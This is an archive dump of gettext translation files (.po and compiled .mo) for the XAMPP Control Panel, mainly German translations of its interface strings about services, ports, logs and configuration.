fMain..puSystray..N1..Caption #: uMain.dfm:3052 msgid "-" msgstr "" # Seems like a Font.Name extract #. fConfigUserDefined..Font.Name #: uConfigUserDefined.dfm:11 #. fConfigUserDefined..lblDescription1..Font.Name #: uConfigUserDefined.dfm:38 #. fConfigUserDefined..lblDescription2..Font.Name #: uConfigUserDefined.dfm:55 #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheConf..Font.Name #: uConfigUserDefined.dfm:175 #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheLogs..Font.Name #: uConfigUserDefined.dfm:192 #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLConf..Font.Name #: uConfigUserDefined.dfm:246 #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLLogs..Font.Name #: uConfigUserDefined.dfm:263 #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaConf..Font.Name #: uConfigUserDefined.dfm:317 #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaLogs..Font.Name #: uConfigUserDefined.dfm:334 #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryConf..Font.Name #: uConfigUserDefined.dfm:388 #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryLogs..Font.Name #: uConfigUserDefined.dfm:405 #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatConf..Font.Name #: uConfigUserDefined.dfm:459 #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatLogs..Font.Name #: uConfigUserDefined.dfm:476 #. fHelp..Font.Name #: uHelp.dfm:11 #. fHelp..lblMainProg..Font.Name #: uHelp.dfm:34 #. fHelp..lblSecondProg..Font.Name #: uHelp.dfm:51 #. fHelp..lblHelpEng..Font.Name #: uHelp.dfm:68 #. fHelp..lblHelpGer..Font.Name #: uHelp.dfm:85 #. fHelp..lblHelpEngLink..Font.Name #: uHelp.dfm:98 #. fHelp..lblHelpGerLink..Font.Name #: uHelp.dfm:112 #. fLanguage..Font.Name #: uLanguage.dfm:13 #. fLogOptions..Font.Name #: uLogOptions.dfm:11 #. fLogOptions..lblLogFont..Font.Name #: uLogOptions.dfm:27 #. fLogOptions..lblLogFontSize..Font.Name #: uLogOptions.dfm:40 #. fLogOptions..tLogFont..Font.Name #: uLogOptions.dfm:53 #. fLogOptions..bSelect..Font.Name #: uLogOptions.dfm:67 #. fLogOptions..tLogFontSize..Font.Name #: uLogOptions.dfm:82 #. fLogOptions..bSave..Font.Name #: uLogOptions.dfm:96 #. fLogOptions..bCancel..Font.Name #: uLogOptions.dfm:138 #. fLogOptions..FontDialog..Font.Name #: uLogOptions.dfm:176 #. fMain..Font.Name #: uMain.dfm:12 #. fMain..lHeader..Font.Name #: uMain.dfm:1015 #. fMain..reLog..Font.Name #: uMain.dfm:1032 #. fMain..bConfig..Font.Name #: uMain.dfm:1053 #. fMain..bSCM..Font.Name #: uMain.dfm:1099 #. fMain..gbModules..Font.Name #: uMain.dfm:1145 #. fMain..gbModules..lPIDs..Font.Name #: uMain.dfm:1163 #. fMain..gbModules..lPorts..Font.Name #: uMain.dfm:1181 #. fMain..gbModules..lServices..Font.Name #: uMain.dfm:1307 #. fMain..gbModules..lModules..Font.Name #: uMain.dfm:1325 #. fMain..gbModules..lActions..Font.Name #: uMain.dfm:1342 #. fMain..bQuit..Font.Name #: uMain.dfm:1801 #. fMain..bHelp..Font.Name #: uMain.dfm:1847 #. fMain..bExplorer..Font.Name #: uMain.dfm:1893 #. fMain..bNetstat..Font.Name #: uMain.dfm:1939 #. fMain..bXamppShell..Font.Name #: uMain.dfm:1985 #. fNetstat..Font.Name #: uNetstat.dfm:12 #. fNetstat..lvSockets..Font.Name #: uNetstat.dfm:58 #. fNetstat..pnlActiveExample..Font.Name #: uNetstat.dfm:112 #. fNetstat..pnlOldExample..Font.Name #: uNetstat.dfm:132 #. fNetstat..pnlNewExample..Font.Name #: uNetstat.dfm:152 #. fServiceSettings..Font.Name #: uServiceSettings.dfm:11 #. fServiceSettings..lMain..Font.Name #: uServiceSettings.dfm:33 #. fServiceSettings..pcSettings..pApache..gApache..tApacheName..Font.Name #: uServiceSettings.dfm:159 #. fServiceSettings..pcSettings..pApache..gApache..tApacheMain..Font.Name #: uServiceSettings.dfm:172 #. fServiceSettings..pcSettings..pApache..gApache..tApacheSSL..Font.Name #: uServiceSettings.dfm:185 #. fServiceSettings..pcSettings..pMySQL..gMySQL..tMySQLMain..Font.Name #: uServiceSettings.dfm:229 #. fServiceSettings..pcSettings..pMySQL..gMySQL..tMySQLName..Font.Name #: uServiceSettings.dfm:242 #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..tFileZillaMain..Font.Name #: uServiceSettings.dfm:293 #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..tFileZillaName..Font.Name #: uServiceSettings.dfm:306 #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..tFileZillaAdmin..Font.Name #: uServiceSettings.dfm:319 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP1..Font.Name #: uServiceSettings.dfm:398 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP2..Font.Name #: uServiceSettings.dfm:411 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP3..Font.Name #: uServiceSettings.dfm:424 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP4..Font.Name #: uServiceSettings.dfm:437 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP5..Font.Name #: uServiceSettings.dfm:450 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP6..Font.Name #: uServiceSettings.dfm:463 #. fServiceSettings..pcSettings..pMercury..gMercury..tMercuryP7..Font.Name #: uServiceSettings.dfm:476 #. fServiceSettings..pcSettings..pTomcat..gTomcat..tTomcatMain..Font.Name #: uServiceSettings.dfm:534 #. fServiceSettings..pcSettings..pTomcat..gTomcat..tTomcatHTTP..Font.Name #: uServiceSettings.dfm:547 #. fServiceSettings..pcSettings..pTomcat..gTomcat..tTomcatAJP..Font.Name #: uServiceSettings.dfm:560 #. fServiceSettings..pcSettings..pTomcat..gTomcat..tTomcatName..Font.Name #: uServiceSettings.dfm:573 msgid "Arial" msgstr "" # Doesn't look like text #. Programmer's name: JpgImage_1 RCDATA #: xampp_control3Resource.rc:1 msgid "gfx\\150px-Flag_of_Germany.svg.jpg" msgstr "" # Doesn't look like text #. Programmer's name: JpgImage_2 RCDATA #: xampp_control3Resource.rc:2 msgid "gfx\\150px-Flag_of_the_United_States.svg.jpg" msgstr "" # Doesn't look like text #. Programmer's name: Bitmap_3 BITMAP #: xampp_control3Resource.rc:4 msgid "gfx\\Checked2.bmp" msgstr "" # Doesn't look like text #. Programmer's name: Bitmap_4 BITMAP #: xampp_control3Resource.rc:5 msgid "gfx\\Open16x16.bmp" msgstr "" # Doesn't look like text #. fHelp..lblHelpEngLink..Caption #: uHelp.dfm:94 msgid "http://www.apachefriends.org/f/viewforum.php?f=16" msgstr "" # Doesn't look like text #. fHelp..lblHelpGerLink..Caption #: uHelp.dfm:108 msgid "http://www.apachefriends.org/f/viewforum.php?f=4" msgstr "" # Doesn't look like text #: uMain.pas:1081 msgid "http://www.microsoft.com/download/en/details.aspx?id=5582" msgstr "" # Seems like a Font.Name extract #. fConfig..Font.Name #: uConfig.dfm:11 #. fConfig..grpAutostart..lblAutostart..Font.Name #: uConfig.dfm:304 msgid "Tahoma" msgstr "" # Seems like a Font.Name extract #. fMain..Font.Name #: uMain.dfm:12 #. fMain..lHeader..Font.Name #: uMain.dfm:1015 #. fMain..gbModules..lPIDs..Font.Name #: uMain.dfm:1091 #. fMain..gbModules..lPorts..Font.Name #: uMain.dfm:1109 #. fMain..gbModules..Label1..Font.Name #: uMain.dfm:1235 #. fMain..gbModules..Label2..Font.Name #: uMain.dfm:1254 #. fMain..gbModules..Label3..Font.Name #: uMain.dfm:1272 msgid "Verdana" msgstr "" xampp-control-panel/locale/de/LC_MESSAGES/xampp_control.mo000066600000043426151723641500017323 0ustar00<  79#4X/p4   4;K!i ( 9Z-j):6K*d $#%3Y_f#+"GjB ,-I[j~".C'$L.U "! ).I^u"#  (4 9LC! ,+&RZz  ^bi#n2.as?=<Ne&%0). X a f  E   #!&!7!Q!c!y!!I!! "#" )"5"L"R"p"y"" ""+","9#O#V#2f##A#$ %%1% K%>W%Q%]%F&.`&&&&"&A&J1'B|'9''(>(B\(E((('(A)_)o) +(+=1+?o+#++4+E#, i,w,,,,,, ,",,,,(- ;-H-d-(~-/--- .5.$U.,z.F.. / //>/n///"/1/30 O0Z0 a0000000 11,141#T1x1I11#1- 2.72f2z222$202E 3)O3y3@3 333434,4 a4k4Pq4444 55<95&v55!5 55 55 5]5[6c61y66 66666657J7R7o7 77 77r8v8}8'8888888888(9)+9(U99~99(9S9QK:P::!;0; 8;0F;Dw;;;6;)<@< I<S<k<{<Y<< <<% =0=D=a=t=#==P= >+>D>J>`>z>>>>> >>>>D3?>x???6? @V"@yAA2AA AHBIBBMC1gC*CC$CXCIXDTDED@=E~EQEREC'F kFuF-~FTFG!V`EQ3* Is ncu9'#Tq_)&hm6yz{7}4|/r-~MkdiHjA:;b$oF,Bg%<ON(f 2@0 =P D[C5ZR8]+xW^J SUptL?waeKv1G.\l"X>Y Autostart of modules Modules %s Service Install stopped with errors, return code: %d%s Service Uninstall stopped with errors, return code: %d%s Service detected with wrong path%s Service is disabled.%s Started/Stopped with errors, return code: %d%s WILL NOT start without the configured ports free!AJP PortAbortActionsActive socketAddressAdminAdmin PortAll prerequisites foundApacheApache SettingsAttempting to start %s app...Attempting to start %s service...Attempting to stopAttempting to stop %sAttempting to stop %s app...Attempting to stop %s service...Autostart aborted: %s is already runningAutostart active: starting...Browser (empty = system default)Change LanguageChange XAMPP %s and Control Panel settings orCheck default ports on startupCheck that you have the proper privilegesCheck the "/xampp/tomcat/logs" folder for more informationChecking default ports...Checking for App: %sChecking for Service: %sChecking for alternate module existence...Checking for module existence...Checking for prerequisitesChecking for required tools...Checking for service (name="%s"): %sClick Yes to install the %s serviceClick Yes to uninstall the %s serviceCloseConfigConfiguration of Control PanelControl Panel ReadyCopyCreating PID-entry %d: %sDeinitializing Control PanelDeinitializing ModulesDeleting PID-entry %d: %sDetailsDisabling %s buttonsEditor:Enable Tomcat output windowEnabling autostart for module "%s"Enhanced by hackattack142Enter user defined files. Files must be relative to xampp-basedir!ErrorError: %s shutdown unexpectedly.Example: "apache\conf\extra\httpd-info.conf"Executables (*.exe)|*.exe|All files (*.*)|*.*Executing "%s %s"Executing "%s"Executing "%s" "%s"Executing %s %sExpected Path: "%sFileZillaFTP\%s"Expected Path: "%sapache\bin\%s" -k runserviceExpected Path: %smysql\bin\%s --defaults-file=%smysql\bin\my.ini %sExpected Path: %stomcat\bin\%s //RS//%sExplorerFile "%s" not found. Should it be created now?FileZillaFileZilla SettingsFound Path: %sFound service, attempting to startFound service, attempting to stopHTTP PortHelpIf you need more help, copy and post thisInitializing Control PanelInitializing ModulesInitializing module...Installing service...Is %s already running?Is installed as a Windows Service?Java is already running on port %d!LanguageListening socket closed: %s:%dLog FontLog Font SizeLog OptionsLogsMain PortMake sure you have Java JDK or JRE installed and the required ports are freeMercuryMercury SettingsMercury cannot be run as service!ModuleMore DetailsMySQLMySQL SettingsNameNeed Help? Visit the XAMPP forums (English):Need Help? Visit the XAMPP forums (German):NetstatNetstat - TCP Listening socketsNew listening socket: %s:%dNew socketNo PIDs found?!Old socketOne possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!PIDPID(s)PortPort %d in use by "%s" with PID %d!Port %d in use by "%s"!Port 1Port 2Port 3Port 4Port 5Port 6Port 7Port(s)Portblocker Detected: %sPortblocker Path: %sPortblocker Service Path: %sPress the Logs button to view error logs and checkProblem detected!Problem detected: %s Not Found!Problem detected: Required Tool catalina_service.bat Not Found!Problem detected: Required Tool catalina_start.bat Not Found!Problem detected: Required Tool catalina_stop.bat Not Found!Problem killing PID %dProgrammed by Steffen StrueberQuitRefreshRequired XAMPP prerequisite not found!Restart application to apply changes!Return Code %dReturn code: %dRun this program from your XAMPP root directory!Running with Administrator rights - good!SSL PortSaveSearching for service %sSelect AllSelect FontSelected modules will be started on next launch of the Control Panel.ServiceService NameService Path: %sService Path: Service Not InstalledService SettingsService and Port SettingsService installedService not installedService was NOT (un)installed!ServicesServices cannot be installed or uninstalled while the service is running!Setting Service Display Name...Setting Service Name...ShellShow / HideShow debug informationStartStart Control Panel MinimizedStartingStatus change detected:StopSuccessful!The %s module is disabledThere may be an error, return code: %d - %sThis is required for XAMPP to fully functionThis may be due to a blocked port, missing dependencies, TomcatTomcat SettingsUninstall/disable the other service manually firstUninstalling service...Use this form to set service-specific and default port settings. You can set the name and default ports the XAMPP Control Panel will check. Do not include spaces or quotes in names. This does NOT change the ports that the services and programs use. You still need to change those in the services' configuration files.User Defined FilesUser definedUser-defined log/config-filesVC++ checking is disabledView ReadMeWARNING: Your Operating System is too old and is not supportedWARNING: Your install directory contains spaces. This may break programs/scriptsWARNING: Your install directory contains special characters. This may break programs/scriptsWindows Version: %s %s %sXAMPP %s Service is already running on port %dXAMPP %s is already running on port %dXAMPP Control Panel vXAMPP Installation Directory: "%s"You are not running with administrator rights! This will work forYou do not appear to have the Microsoft Visual C++ 2008 Runtimes installedYou need to uninstall/disable/reconfigure the blocking applicationabout running this application with administrator rights!entire log window on the forumsexeimproper privileges, a crash, or a shutdown by another method.most application stuff but whenever you do something with servicesor reconfigure %s and the Control Panel to listen on a different portrunningstoppedthe Windows Event Viewer for more cluesthere will be a security dialogue or things will break! So think unknown programProject-Id-Version: UDP Manager POT-Creation-Date: 2013-03-24 19:21 PO-Revision-Date: 2013-04-02 19:44-0500 Last-Translator: Mark Language-Team: Strueber-IT Language: en_DE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.5.5 X-Poedit-SourceCharset: iso-8859-1 X-Poedit-Basepath: C:\Delphi\xampp_control3 X-Poedit-SearchPath-0: . Module automatisch starten Module %s dienst mit Fehler gestoppt installieren, Rückgabecode: %d%s dienst mit Fehler gestoppt deinstallieren, Rückgabecode: %d%s Dienst mit falschem Pfad erkannt%s Dienst ist deaktiviert.%s gestartet/gestoppt mit Fehlern, Rückgabecode: %d%s wird NICHT starten, wenn die konfigurierten Ports nicht frei sind!AJP PortAbbruchAktionenOffener SocketAdresseAdminAdmin PortAlle Voraussetzungen sind erfülltApacheApache EinstellungenVersuche %s zu starten...Versuche %s Windows Dienst zu starten...stoppe Modul%s wird versucht zu beendenVersuche %s zu beenden...Versuche %s Windows Dienst zu stoppen...Autostart abgebrochen: %s ist bereits gestartetAutostart aktiv: Starte...Browser (leer = Systemvorgabe)SprachauswahlÄndere XAMPP %s und Control Panel Einstellungen oderÜberprüfe Standardports beim StartPrüfe ob ausreichende Rechte vorhanden sindÜberprüfe den Ordner "/xampp/tomcat/logs" für weitere InformationenÜberprüfe Standardports...Prüfe Anwendung: %sPrüfe Windows Dienst von: %sPrüfe auf Vorhandensein alternativer Module...Prüfe ob Modul existiert...Voraussetzungen werden geprüftPrüfe benötigte Tools...Überprüfe Dienst (name="%s"): %sMöchtest du %s wirklich als Dienst installieren?Möchtest du %s wirklich als Dienst deinstallieren?SchließenKonfigKonfiguration des Control PanelsControl Panel bereitKopierenErzeuge PID-Eintrag: %d: %sDeinitialisiere Control PanelDeinitialisiere ModuleLösche PID-Eintrag: %d: %sDetailsDeaktiviere %s ButtonsEditor:Aktiviere Tomcat AusgabefensterAktiviere Autostart für Modul "%s"Erweitert von hackattack142Gib benutzerdefinierte Dateinamen relativ zum XAMPP-Basisverzeichnis ein!FehlerFehler: %s wurde unerwartet beendetBeispiel: "apache\conf\extra\httpd-info.conf"Programme (*.exe)|*.exe|Alle Dateien (*.*)|*.*Führe aus: "%s %s"Führe aus: "%s"Führe aus: "%s" "%s"Führe aus: %s %sErwarteter Pfad: "%sFileZillaFTP\%s"Erwarteter Pfad: "%sapache\bin\%s" -k runserviceErwarteter Pfad: %smysql\bin\%s --defaults-file=%smysql\bin\my.ini %sErwarteter Pfad: %stomcat\bin\%s //RS//%sExplorerDatei "%s" nicht gefunden. Soll die Datei jetzt erstellt werden?FileZillaFileZilla EinstellungenPfad gefunden: %sWindows Dienst gefunden, wird versucht zu starten...Windows Dienst gefunden, wird versucht zu stoppen...HTTP PortHilfeWenn du weitere Hilfe benötigst, kopiere den kompletten Inhalt des Log FenstersInitialisere Control PanelInitialisiere ModuleInitialisiere Modul...Installiere Dienst...Ist %s bereits gestartet?Status "als Windows Dienst installiert": X = Nein - ✔ = JaJava ist bereits gestartet auf Port %dSpracheOffener Socket geschlossen: %s:%dSchriftartSchriftgrößeLog-OptionenLogsHauptportStelle sicher, dass du Java JDK oder JRE installiert hast und die benötigten Ports frei sindMercuryMercury EinstellungenMercury kann nicht als Dienst ausgeführt werden!Modulmehr DetailsMySQLMySQL EinstellungenNameBrauchst du Hilfe? Besuche die XAMPP Foren (englisch):Brauchst du Hilfe? Besuche die XAMPP Foren (deutsch):NetstatNetstat - Offene TCP SocketsNeuer offener Socket: %s:%dNeuer SocketKeine PIDs gefunden?!Alter SocketMögliche Fehlerursache entdeckt: In der Windows-Sicherheitsabfrage MUSS das Häkchen bei "Computer und Daten vor nicht autorisierter Programmaktivität schützen" ABGEWÄHLT werden!PIDPID(s)PortPort %d in Benutzung von "%s" (PID %d)!Port %d in Benutzung von "%s"!Port 1Port 2Port 3Port 4Port 5Port 6Port 7Port(s)Port-blockierende Anwendung gefunden: %sPfad der Port-blockierenden Anwendung: %sPfad des Port-blockierenden Dienstes: %sDrücke den Logs Button um error logs zu sehen und prüfeProblem festgestellt!Problem festgestellt: %s nicht gefunden!Problem festgestellt: Benötigtes Script catalina_service.bat wurde nicht gefunden!Problem festgestellt: Benötigtes Script catalina_start.bat wurde nicht gefunden!Problem festgestellt: Benötigtes Script catalina_stop.bat wurde nicht gefunden!Problem beim beenden von PID %dProgrammiert von Steffen StrueberBeendenAktualisierenBenötigte XAMPP Voraussetzungen nicht gefunden!Die Sprachänderung wird erst nach Neustart des Control Panel aktiv!Rückgabecode %dRückgabecode: %dStarte das Programm aus deinem XAMPP Basisverzeichnis!Mit Administratorrechten gestartet - gut!SSL PortSpeichernSuche Windows Dienst %sAlle auswählenSchrift auswählenausgewählte Module werden beim nächsten Start des Control Panels automatisch gestartet.DienstDienstnameDienst-Pfad: %sDienst-Pfad: Dienst nicht installiertDiensteinstellungenDienste und Ports einstellenDienst installiertDienst nicht installiertDienst wurde NICHT (de-)installiertDiensteDienste können nicht (de-)installiert werden, solange diese ausgeführt werden!Dienst-Anzeigename einstellen...Dienstname einstellen...ShellAnzeigen / Versteckenzeige Debug-InformationenStartenControl Panel minimiert startenStarteStatusänderung erkannt:StoppenErfolgreich!Das %s Modul ist deaktiviertEs könnte ein Fehler aufgetreten sein, Rückgabecode: %d - %sDies ist eine Voraussetzung für die volle Funktionalität von XAMPPUrsache könnte ein geblockter Port, fehlende Abhängigkeiten,TomcatTomcat EinstellungenEntferne/Deaktiviere den anderen Windows Dienst vorherDeinstalliere Dienst...Hier kannst du den Namen und die Standardports einstellen, die das Control Panel überprüft. Diese Einstellungen ändern NICHT die Ports, den die Dienste und Programme verwenden (Diese Einstellung musst du weiterhin in den jeweiligen Konfigurationsdaten ändern). Leer- oder Anführungszeichen in den Namenseinstellungen sind nicht erlaubt. Benutzerdefinierte DateienBenutzerdefiniertBenutzerdefinierte Log- und KonfiguirationsdateienVC++ Prüfung deaktiviertzeige ReadMeWARNUNG: Dein Betriebssystem ist zu alt und wird nicht mehr unterstütztACHTUNG: Der XAMPP Installationspfad enthält Leerzeichen. Dies könnte die Funktionalität von Programmen/Scripten beeinflussenACHTUNG: Der XAMPP Installationspfad enthält Sonderzeichen. Dies könnte die Funktionalität von Programmen/Scripten beeinflussenWindows Version: %s %s %sXAMPP %s Dienst ist bereits gestartet auf Port %dXAMPP %s ist bereits gestartet auf Port %dXAMPP Control Panel vXAMPP Installationsverzeichnis: "%s"Dein Benutzerprofil besitzt keine Administratorenrechte! Das reicht aus für die meistenDie Microsoft Visual C++ 2008 Runtimes scheinen nicht installiert zu seinDie blockierende Anwendung muss deinstalliert/deaktiviert/rekonfiguriert werden oderAlso denke daran diese Anwendung mit Administratorrechten zu starten!und füge ihn als Ergänzung in einem neuen Forum Eintrag hinzu.exefehlende Berechtigungen, ein Absturz oder ein Abbruch einer anderen Methode sein.Anwendungsfunktionen, aber wann immer du etwas mit Windows-Diensten tun möchtest,%s und das Control Panel müssen auf einen anderen Port zu lauschengestartetgestopptim Windows Event Viewer für weitere Hinweisewird eine Sicherheitsabfrage erscheinen oder etwas wird garnicht erst funktionieren!unbekanntes Programmxampp-control-panel/locale/de/LC_MESSAGES/xampp_control.po000066600000112041151723641500017314 0ustar00# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # msgid "" msgstr "" "Project-Id-Version: UDP Manager\n" "POT-Creation-Date: 2013-03-24 19:21\n" "PO-Revision-Date: 2013-04-02 19:44-0500\n" "Last-Translator: Mark \n" "Language-Team: Strueber-IT\n" "Language: en_DE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.5.5\n" "X-Poedit-SourceCharset: iso-8859-1\n" "X-Poedit-Basepath: C:\\Delphi\\xampp_control3\n" "X-Poedit-SearchPath-0: .\n" #. fConfig..Caption #: uConfig.dfm:4 msgid "Configuration of Control Panel" msgstr "Konfiguration des Control Panels" #. fConfig..lblEditor..Caption #: uConfig.dfm:33 msgid "Editor:" msgstr "Editor:" #. fConfig..lblBrowser..Caption #: uConfig.dfm:44 msgid "Browser (empty = system default)" msgstr "Browser (leer = Systemvorgabe)" #. fConfig..bSave..Caption #. fConfigUserDefined..bSave..Caption #. fLanguage..bOkay..Caption #. fLogOptions..bSave..Caption #. fServiceSettings..bSave..Caption #: uConfig.dfm:110 uConfigUserDefined.dfm:69 uLanguage.dfm:191 #: uLogOptions.dfm:92 uServiceSettings.dfm:43 msgid "Save" msgstr "Speichern" #. fConfig..bAbort..Caption #. fConfigUserDefined..bAbort..Caption #. fLanguage..bAbort..Caption #. fLogOptions..bCancel..Caption #. fServiceSettings..bCancel..Caption #: uConfig.dfm:154 uConfigUserDefined.dfm:112 uLanguage.dfm:233 #: uLogOptions.dfm:134 uServiceSettings.dfm:79 msgid "Abort" msgstr "Abbruch" #. fConfig..cbDebug..Caption #: uConfig.dfm:251 msgid "Show debug information" msgstr "zeige Debug-Informationen" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:267 msgid "Details" msgstr "Details" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:268 msgid "More Details" msgstr "mehr Details" #. fConfig..grpAutostart..Caption #: uConfig.dfm:280 msgid " Autostart of modules " msgstr " Module automatisch starten " #. fConfig..grpAutostart..lblAutostart....Caption #: uConfig.dfm:299 msgid "Selected modules will be started on next launch of the Control Panel." msgstr "" "ausgewählte Module werden beim nächsten Start des Control Panels automatisch " "gestartet." #. fConfig..grpAutostart..cbASApache..Caption #. fConfigUserDefined..pcUserDefConf..pApache..Caption #. fMain..gbModules..pApacheStatus..Caption #. fMain..puSystray..ApacheTray..Caption #. fServiceSettings..pcSettings..pApache..Caption #: uConfig.dfm:320 uConfigUserDefined.dfm:153 uMain.dfm:1487 uMain.dfm:3012 #: uServiceSettings.dfm:118 msgid "Apache" msgstr "Apache" #. fConfig..grpAutostart..cbASMySQL..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..Caption #. fMain..gbModules..pMySQLStatus..Caption #. fMain..puSystray..MySQLTray..Caption #. fServiceSettings..pcSettings..pMySQL..Caption #: uConfig.dfm:332 uConfigUserDefined.dfm:223 uMain.dfm:1592 uMain.dfm:3020 #: uServiceSettings.dfm:193 msgid "MySQL" msgstr "MySQL" #. fConfig..grpAutostart..cbASFileZilla..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..Caption #. fMain..gbModules..pFileZillaStatus..Caption #. fMain..puSystray..FileZillaTray..Caption #. fServiceSettings..pcSettings..pFileZilla..Caption #: uConfig.dfm:344 uConfigUserDefined.dfm:294 uMain.dfm:1606 uMain.dfm:3028 #: uServiceSettings.dfm:250 msgid "FileZilla" msgstr "FileZilla" #. fConfig..grpAutostart..cbASMercury..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..Caption #. fMain..gbModules..pMercuryStatus..Caption #. fMain..puSystray..MercuryTray..Caption #. fServiceSettings..pcSettings..pMercury..Caption #: uConfig.dfm:356 uConfigUserDefined.dfm:365 uMain.dfm:1620 uMain.dfm:3036 #: uServiceSettings.dfm:327 msgid "Mercury" msgstr "Mercury" #. fConfig..grpAutostart..cbASTomcat..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..Caption #. fMain..gbModules..pTomcatStatus..Caption #. fMain..puSystray..TomcatTray..Caption #. fServiceSettings..pcSettings..pTomcat..Caption #: uConfig.dfm:364 uConfigUserDefined.dfm:436 uMain.dfm:1731 uMain.dfm:3044 #: uServiceSettings.dfm:484 msgid "Tomcat" msgstr "Tomcat" #. fConfig..cbCheckDefaultPorts..Caption #: uConfig.dfm:377 msgid "Check default ports on startup" msgstr "Überprüfe Standardports beim Start" #. fConfig..bLanguage..Caption #: uConfig.dfm:390 msgid "Change Language" msgstr "Sprachauswahl" #. fConfig..bConfigUserdefined..Caption #: uConfig.dfm:404 msgid "User Defined Files" msgstr "Benutzerdefinierte Dateien" #. fConfig..cbTomcatVisible..Caption #: uConfig.dfm:419 msgid "Enable Tomcat output window" msgstr "Aktiviere Tomcat Ausgabefenster" #. fConfig..bLogSettings..Caption #. fLogOptions..Caption #: uConfig.dfm:428 uLogOptions.dfm:4 msgid "Log Options" msgstr "Log-Optionen" #. fConfig..bServiceSettings..Caption #: uConfig.dfm:437 msgid "Service and Port Settings" msgstr "Dienste und Ports einstellen" #. fConfig..cbMinimized..Caption #: uConfig.dfm:446 msgid "Start Control Panel Minimized" msgstr "Control Panel minimiert starten" #. fConfig..OpenDialog..DefaultExt #: uConfig.dfm:450 msgid "exe" msgstr "exe" #. fConfig..OpenDialog..Filter #: uConfig.dfm:451 msgid "Executables (*.exe)|*.exe|All files (*.*)|*.*" msgstr "Programme (*.exe)|*.exe|Alle Dateien (*.*)|*.*" #. fConfigUserDefined..Caption #: uConfigUserDefined.dfm:4 msgid "User-defined log/config-files" msgstr "Benutzerdefinierte Log- und Konfiguirationsdateien" #. fConfigUserDefined..lblDescription1....Caption #: uConfigUserDefined.dfm:34 msgid "Enter user defined files. Files must be relative to xampp-basedir!" msgstr "" "Gib benutzerdefinierte Dateinamen relativ zum XAMPP-Basisverzeichnis ein!" #. fConfigUserDefined..lblDescription2..Caption #: uConfigUserDefined.dfm:51 msgid "Example: \"apache\\conf\\extra\\httpd-info.conf\"" msgstr "Beispiel: \"apache\\conf\\extra\\httpd-info.conf\"" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheConf..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLConf..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaConf..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryConf..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatConf..Caption #. fMain..bConfig..Caption #. fMain..gbModules..bApacheConfig..Caption #. fMain..gbModules..bMySQLConfig..Caption #. fMain..gbModules..bFileZillaConfig..Caption #. fMain..gbModules..bMercuryConfig..Caption #. fMain..gbModules..bTomcatConfig..Caption #: uConfigUserDefined.dfm:171 uConfigUserDefined.dfm:242 #: uConfigUserDefined.dfm:313 uConfigUserDefined.dfm:384 #: uConfigUserDefined.dfm:455 uMain.dfm:1049 uMain.dfm:1500 uMain.dfm:1526 #: uMain.dfm:1552 uMain.dfm:1578 uMain.dfm:1717 msgid "Config" msgstr "Konfig" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheLogs..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLLogs..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaLogs..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryLogs..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatLogs..Caption #. fMain..gbModules..bApacheLogs..Caption #. fMain..gbModules..bMySQLLogs..Caption #. fMain..gbModules..bFileZillaLogs..Caption #. fMain..gbModules..bMercurylogs..Caption #. fMain..gbModules..bTomcatLogs..Caption #: uConfigUserDefined.dfm:188 uConfigUserDefined.dfm:259 #: uConfigUserDefined.dfm:330 uConfigUserDefined.dfm:401 #: uConfigUserDefined.dfm:472 uMain.dfm:1513 uMain.dfm:1539 uMain.dfm:1565 #: uMain.dfm:1678 uMain.dfm:1744 msgid "Logs" msgstr "Logs" #. fHelp..Caption #. fMain..bHelp..Caption #: uHelp.dfm:4 uMain.dfm:1843 msgid "Help" msgstr "Hilfe" #. fHelp..lblMainProg..Caption #: uHelp.dfm:30 msgid "Programmed by Steffen Strueber" msgstr "Programmiert von Steffen Strueber" #. 